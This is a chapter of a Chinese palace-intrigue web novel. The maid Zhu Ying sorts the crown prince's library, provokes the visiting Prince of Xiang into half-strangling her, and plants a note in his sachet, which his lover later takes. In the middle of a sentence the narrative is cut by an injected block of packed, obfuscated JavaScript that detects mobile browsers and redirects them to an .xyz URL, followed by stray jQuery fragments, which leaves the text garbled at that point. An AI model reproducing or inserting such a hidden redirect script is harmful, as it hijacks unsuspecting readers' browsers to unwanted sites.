冬日天亮得晚，晨起时窗外还是灰蒙蒙一片，未见晨光。


    洗春阁中早有身影在忙碌，太子叫她辰时再过来，可她卯时就在此处点书了。


    孟闻踩着寒霜到书房，见架上的书都被搬空了，零零散散地摞在地上。


    而她坐在书海中，埋头在写些什么。


    “在做什么？”孟闻问道。


    竺影道：“做编目和索隐，以后殿下找书会方便些。”


    孟闻并未斥责她自作主张，只是有些惊讶，问她道：“你从前在静和宫里，也是做这些？”


    不知道的，还以为她曾在秘阁当值。


    竺影道：“自然不是，齐王不爱读书。”


    “哦——”孟闻阴阳怪气，“那你倒是来对了地方。”


    她闻言嗤嗤，某人竟也知道自己的书房有多杂乱。


    上千册书卷堆放在眼前，等着她一一编序。有些陈年的册子，线装腐朽了，不得不拆了重新装定，还有些纸张腐朽更严重的，便得重新誊抄了。


    是个不小的活计。


    这些事，在秘阁有专门的人去做，洗春阁却没有。


    只有她一个女史。


    孟闻于案前落座，又捧起昨日看的那本《禳灾》。一手翻书，一手提壶倒茶，却发现茶壶里是空的。


    不等他发话，竺影就已搁下手头纸笔，默不作声走过去，捧起茶壶去烹茶。


    那是一套很旧的茶具了，杯子的裂痕洇进了茶色，杯底粗糙，也算不上名贵，他却待之如珍似宝，每日烹茶养护。竺影猜，这应该是先皇后留下的旧物。


    只是她不清楚这人喜好，于是依着二皇子煮茶的习惯，如法炮制。


    竺影正剥橘皮时，孟闻忽然说道：“我只要茶水，不要茶粥。”


    可橘子已剥了一半，她想着，若将剥好的橘瓣送到他案前去，未免太过讨好，说不准这人还会疑心她居心叵测。


    索性自己吃掉。


    悄悄尝了一口发现不太对劲，东宫的橘子很酸，像有人刻意针对这位太子，专挑了最涩口的果子送来。


    匆匆咽下喉间酸涩，竺影赶忙将余下的两个橘子也剥了，整整齐齐码在瓷碟里给他端去。


    孟闻瞥了一眼，没说什么。


    竺影后来烹好的茶，他也没动一口。


    罢了罢了，省却许多事情。


    她又回到书架间，将已经编目的书本上架。


    午时前本该传饭，商音却从阁外来禀。


    “殿下。”


    “何事？”


    “襄王来了。”


    “他来做什么？”


    齐王前脚刚走，另一个兄长后脚就来，两位兄长生怕他这东宫不够热闹。


    襄王孟觉，字善知，是当今陛下长子，生母是薛贵人。十八岁封王出宫开府，后又调任封地，常年待在荆州，故而与宫中兄弟姊妹算不上亲近。


    所以他今日突然拜访，在孟闻意料之外。


    商音问：“殿下不想见的话，是否要推辞？”


    孟闻道：“不必。皇兄既来见我，我也没有避而不见的道理。”


    他放下书卷，亲自到宫门口迎接。


    在西苑的这些年里，孟闻只听说这位兄长的左腿受过伤，是早年在林场中狩猎，不慎堕马所致。当时医治不当留下了隐疾，此后行走颇受限制。


    尽管孟觉平日里极力遮掩，穿着宽大衣袍遮蔽，仔细看时，依然能发现他是跛足，走起路来肩膀一高一低。


    或许旁人之凝视于他而言，与冒犯一般无二。


    孟闻只看了一眼，便收敛了直视的目光，待他走上前来，与之行礼。


    “三郎。”话一出口诧觉不妥，他又改口，“不——如今该称太子了。”


    孟觉是习武之人，声音洪亮，上来便伸手揽过孟闻的肩，仿佛天生熟络。


    孟闻一面拨开他的手，一面问道：“皇兄此时前来，有何贵干？”


    孟觉微微蹙眉道：“怎么？这是不欢迎我？”


    孟闻道：“皇兄说笑了，只是此地狼藉，不便待客，还请皇兄移步别处落座。”


    不知为何，明明可以到崇庆殿待客，太子偏偏请襄王来了洗春阁。


    昨日齐王也是来此，他待两位兄长也要一碗水端平似的。


    太子与襄王议事，竺影自觉回避，退出阁中。


    襄王兴许认出了她，只是碍于太子在场，不好当面发作。


    两人对坐于漆木屏风前，孟闻将竺影先前剥好的橘子挪至孟觉身前，微笑道：“皇兄，吃橘子。”


    孟觉本来还面带笑意，然而等拈起一瓣橘子放进嘴里，橘汁酸得他牙关发颤，瞬间面目扭曲。匆匆咽下酸涩，又赶忙就了一口茶去送。


    哪料口中酸味未褪，茶水更是苦不堪言。


    “呸——”


    孟觉当即就吐了出来，捶着茶案骂骂咧咧道：“且不说这橘子，就说这茶哪里是给人喝的？那些奴婢是否有意苛待你？”


    孟闻面无表情地饮完一杯茶，放下茶杯拱手向他赔礼：“我倒是未发觉，这茶煮好了放在这儿，还未尝过。叫皇兄受苦了，实乃愚弟之过。”


    孟觉只得摆手：“不妨事不妨事，你这奴婢定是得换了。”


    竺影在门外忍笑艰难。


    门内的孟觉又说起：“我听闻你已向父皇请命，开春后前往并州。”


    孟闻道：“是，还有月余动身。”


    来来去去，说的还是要重修那座观星楼的事。


    一说国库空虚，钱从何来；二说若有民怨，如何安抚；三说南边灾患也不少，陛下好歹得分清轻重缓急吧。


    可观星楼不仅是陛下的执念，都快成魔障了。


    两人在阁中一坐就是两个时辰。


    孟闻称有事要忙，并未相送。孟觉便是在洗春阁外的道上见到了竺影。


    此处竹丛掩映，回廊曲折，东宫里的人通常看不到这里。


    她仓促行过一礼便要逃过去，却被襄王出声喝住。


    “站住。”


    竺影停在原地，俯身行礼道：“襄王殿下，可有要事吩咐？”


    “你不是明谌的人吗？怎么会在这里？”孟觉一步步走近，随即生了玩弄的心思。


    “还是被他厌弃了？你说，我若是向闻弟讨要你，他会不会答应？”


    他咬牙切齿说出这番话，看来也是常常把竺影放在心上了，就是不知是眼中钉，还是肉中刺。


    总之，恨不能欲除之而后快。


    “可以试试。”竺影并不惧他，反而笑晏晏道，“不过这样的话，襄王的另一条腿，也要仔细了。”


    孟觉果真被激怒，猛然掐住她脖子，厉声道：“我看你是不知死活！”


    她的确不知死活，如此境地还在发笑，又断断续续挑衅：“我自然活得好好的，反倒是您……每逢冬春雨雪……旧伤发作不好受吧？”


    孟觉易怒，经不住挑衅，手上的力道越收越紧。竺影挣扎间，趁机将备好的字条塞进他腰间的香囊里。


    孟觉久不松手，她几乎喘不上气。


    依照竺影对


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16456700|183722||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    此人的了解，他恨极了某一个人时，怎么会让她轻易就死去？


    只是她没想到有人会在这时过来，自她身后传来一道人声：


    “皇兄为何与我宫里的人过不去？”


    孟觉当即敛了怒意，同孟闻说道：“想来三弟宫中嬖女*众多，我单单看上了这一个，不如把她给我如何？以何条件交换，任你来提。”


    孟闻想也不想便道：“这人我留着还有些用处，皇兄不必肖想了。”


    “那还真是可惜——”孟觉不情不愿地松了手，弃她于回廊下。


    竺影跌坐在地低着头，肩膀因剧烈的喘息而起起伏伏。


    孟觉看出来了，她是在笑啊。


    可此处是东宫，今日这仇只得作罢。他将牙咬碎了咽进肚里，愤而挥袖离去。


    孟闻缓缓走上前，竺影扶着廊柱起身，捂着胸口久未平复，脖颈上也留下一段红痕。


    观她一副窘态，孟闻面无表情道：“为何有意招惹他？”


    竺影道：“我没有——”


    他却道：“我全都看到了。”


    他全都看到了，然后像看戏一般，慢悠悠地走过来。


    又总是喜欢这样不带责问地打量，轻言轻语地揭开她的谎。


    而她每回被人戳穿了都不说话。


    孟闻似有无奈，轻轻叹道：“你还总是能让我意外。”


    难怪静和宫要将这麻烦推给东宫，他也未尝料到处置一个宫人会如此棘手。


    竺影回怼道：“殿下洞察秋毫，应当在您意料之中才是。”


    孟闻道：“休息好了就回阁中去，并州的《河渠书》与《地形志》我找不到了。”


    他说罢便缓缓折返于道中。


    元月以来，雪已经不再下了。


    洗春阁前尽是不秋草与常青木，一片翠阴，他独行期间，竺影也迈步跟上了。


    襄王离了东宫，又去往辞月宫拜望生母。


    辞月宫之主薛贵人育有一子一女，定遥公主及笄后，下降平原侯。襄王又久在封地，是故她与子女聚少离多，难以得见。


    襄王留在辞月宫用饭过后，正要出门闲行。


    忽然瞥见走廊尽头有一片衣角，宫人正藏于廊柱后窥他，被他发现后，又含羞逃走。


    孟觉追上前去，扯住宫人衣角，将那道身影揽入怀中。


    “这么久不见，可有念我？”


    玄英嗔怪道：“殿下难得回京，时时刻刻念着也不得见，只余空想罢了。”


    一嗔一笑尽数落入他眼眸，孟觉心中大悦，此前在东宫的积郁登时烟消云散。


    他低头搂着怀中人道：“这不是一忙完了就来见你？”


    玄英忽然说道：“殿下身上的熏香怎么换了？”


    孟觉道：“你做的香囊，我从未换过。想来是出入东宫与母亲寝宫，沾染了两处熏香。”


    玄英道：“原来如此啊，奴以为殿下已有新欢在侧了。”


    孟觉哄着她道：“封地事务繁忙，我哪里得闲去找旁的美人？”


    玄英道：“已过去数月，殿下的香囊淡了，奴再为您做个新的好不好？”


    她说着便要去解那香囊，却被孟觉扼住一段皓腕，于掌中摩挲。


    “新的要做，旧的，我也要留着。”


    玄英温柔笑道：“这个让奴拿回去，装一些新的香料，殿下下次入宫时再来向奴讨要。不然殿下日理万机，何时才想起来见奴一面呢？”


    “依你。”孟觉眼中笑意更甚，任由宫人俯下身将他腰间香囊解去。